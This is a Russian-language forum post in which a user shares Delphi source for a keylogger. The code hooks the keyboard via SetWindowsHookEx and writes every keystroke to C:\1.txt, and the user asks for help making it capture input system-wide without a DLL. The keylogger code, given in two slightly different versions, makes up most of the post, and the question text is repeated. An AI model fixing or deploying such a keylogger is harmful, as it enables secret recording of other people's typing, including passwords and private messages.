V
Vadik(R)
Люди, почему не работает кейлоггер:
Вообще он работает, но только на половину. Например, если окно моего приложения активно - то работает. Как только окно потеряет фокус и если нажать любую клавишу, то программа не работает. Даже если потом опять сделать окно своего приложения активным.
Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
Заранее спасибо!
Методом тыка решил сократить код вот так:
Такое ощущение, что тут виноваты либо параметры SetWindowsHookEx (скорее всего hInstance), либо CallNextHookEx. Видимо надо с ней что-то делать, только я не знаю, что именно
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
SaveExitProc: Pointer;
HKey: hHook=0;
f: Text;
implementation
{$R *.dfm}
function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
if (code>=0) and (lParam and $40000000 = 0) then
begin
assign(f, 'C:\1.txt');
if fileexists('C:\1.txt') then append(f) else rewrite(f);
writeln(f, chr(wParam));
close(f)
end;
Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;
procedure StartKey;
begin
HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;
procedure RemoveHookKey;
begin
if HKey<>0 then
begin
UnhookWindowsHookEx(HKey);
HKey:=0
end
end;
procedure RemoveAllHooks;
begin
RemoveHookKey;
ExitProc:=SaveExitProc
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
RemoveAllHooks
end;
begin
SaveExitProc:=ExitProc;
ExitProc:=@RemoveAllHooks;
StartKey
end.
Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
Заранее спасибо!
Методом тыка решил сократить код вот так:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
HKey: hHook=0;
f: Text;
implementation
{$R *.dfm}
function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
if (code>=0) and (lParam and $40000000 = 0) then
begin
assign(f, 'C:\1.txt');
if fileexists('C:\1.txt') then append(f) else rewrite(f);
writeln(f, chr(wParam));
close(f)
end;
Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if HKey<>0 then UnhookWindowsHookEx(HKey)
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;
end.